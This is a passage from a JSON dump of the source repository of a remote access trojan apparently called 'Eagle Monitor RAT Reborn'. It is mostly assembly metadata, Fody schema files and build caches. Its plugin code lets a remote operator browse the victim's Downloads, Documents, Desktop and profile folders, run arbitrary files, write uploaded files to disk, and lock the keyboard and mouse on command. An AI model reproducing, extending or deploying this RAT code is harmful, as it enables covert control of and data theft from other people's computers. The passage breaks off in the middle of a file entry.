    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"FileManager\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"FileManager\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"08bf3c47-16a4-4d13-9a5b-3130f29cc180\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/Shorcuts.cs",
    "content": "﻿using PacketLib.Packet;\nusing System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class Shorcuts\n    {\n        internal static Dictionary<ushort, List<object[]>> ShortcutsWrapper(ShortCutFileManagersPacket.ShortCuts shortCuts, ref string path) \n        {\n            IntPtr strPath = new IntPtr();\n            switch (shortCuts) \n            {\n                case ShortCutFileManagersPacket.ShortCuts.DOWNLOADS:\n                    Imports.SHGetKnownFolderPath(new Guid(Imports.FOLDERID_Downloads), 0, IntPtr.Zero, out strPath);\n                    path = Marshal.PtrToStringAuto(strPath) + \"\\\\\";\n                    break;\n\n                case ShortCutFileManagersPacket.ShortCuts.DOCUMENTS:\n                    path = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + \"\\\\\";\n                    break;\n\n                case ShortCutFileManagersPacket.ShortCuts.DESKTOP:\n                    path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + \"\\\\\";\n                    break;\n\n                case ShortCutFileManagersPacket.ShortCuts.USER_PROFILE:\n                    Imports.SHGetKnownFolderPath(new Guid(Imports.FOLDERID_Profile), 0, IntPtr.Zero, out strPath);\n                    path = Marshal.PtrToStringAuto(strPath) + \"\\\\\";\n                    break;\n            }\n            return GetFilesAndDirs.GetAllFilesAndDirs(path);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/StartFile.cs",
    "content": "﻿using System.Diagnostics;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class StartFile\n    {\n        internal static void StartAProcess(string path) \n        {\n            Process.Start(path);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/UploadFile.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class UploadFile\n    {\n        internal static bool WriteUploadedFile(string path, byte[] file) \n        {\n            try\n            {\n                System.IO.File.WriteAllBytes(path, file);\n                return true;\n            }\n            catch (Exception)\n            {\n                return false;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Debug/FileManager.csproj.CoreCompileInputs.cache",
    "content": "54024ee9bd63c797acbf2976f10961b73a740cd8\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Debug/FileManager.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncFlow\\FileManager\\bin\\Debug\\FileManager.dll\nF:\\Personal\\DesyncFlow\\FileManager\\bin\\Debug\\FileManager.pdb\nF:\\Personal\\DesyncFlow\\FileManager\\bin\\Debug\\PacketLib.dll\nF:\\Personal\\DesyncFlow\\FileManager\\obj\\Debug\\FileManager.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncFlow\\FileManager\\obj\\Debug\\FileManager.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncFlow\\FileManager\\obj\\Debug\\FileManager.csproj.CopyComplete\nF:\\Personal\\DesyncFlow\\FileManager\\obj\\Debug\\FileManager.dll\nF:\\Personal\\DesyncFlow\\FileManager\\obj\\Debug\\FileManager.pdb\nF:\\Personal\\DesyncOps\\FileManager\\bin\\Debug\\FileManager.dll\nF:\\Personal\\DesyncOps\\FileManager\\bin\\Debug\\FileManager.pdb\nF:\\Personal\\DesyncOps\\FileManager\\bin\\Debug\\PacketLib.dll\nF:\\Personal\\DesyncOps\\bin\\Debug\\Plugins\\FileManager.dll\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Debug\\FileManager.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Debug\\FileManager.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Debug\\FileManager.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Debug\\FileManager.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\FileManager.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\FileManager.dll\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\FileManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\FileManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Debug\\FileManager.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Debug/FileManager.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache",
    "content": "affd79c588507449c4a6fa375a984aadce4466e8\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncOps\\bin\\Release\\Plugins\\FileManager.dll\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Release\\FileManager.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Release\\FileManager.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Release\\FileManager.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Release\\FileManager.dll\nF:\\Personal\\DesyncOps\\FileManager\\obj\\Release\\FileManager.csproj.CopyComplete\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\FileManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Release\\FileManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\FileManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\FileManager\\obj\\Release\\FileManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\FileManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\FileManager.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\FileManager.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\FileManager.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\FileManager.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\FileManager\\obj\\Release\\FileManager.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/Hardware.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>Hardware</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\HookHardware\\HookHardware.csproj\">\n      <Project>{64c6e036-ff80-4f45-87f6-0a9996131fa1}</Project>\n      <Name>HookHardware</Name>\n    </ProjectReference>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.HDW_KB_OFF:\n                    HookHardware.Global.HookKeyboard();\n                    break;\n\n                case PacketType.HDW_KB_ON:\n                    HookHardware.Global.UnhookKeyboard();\n                    break;\n\n                case PacketType.HDW_MS_OFF:\n                    HookHardware.Global.HookMouse();\n                    break;\n\n                case PacketType.HDW_MS_ON:\n                    HookHardware.Global.UnhookMouse();\n                    break;\n\n                default:\n                    return;\n\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Hardware\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Hardware\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"2cc85cb5-442e-4cc2-a905-d6dedbc1ec32\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Debug/Hardware.csproj.CoreCompileInputs.cache",
    "content": "71e168e6ccb9da0b4a0fa3a3e4351561d8d5ca92\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Debug/Hardware.csproj.FileListAbsolute.txt",
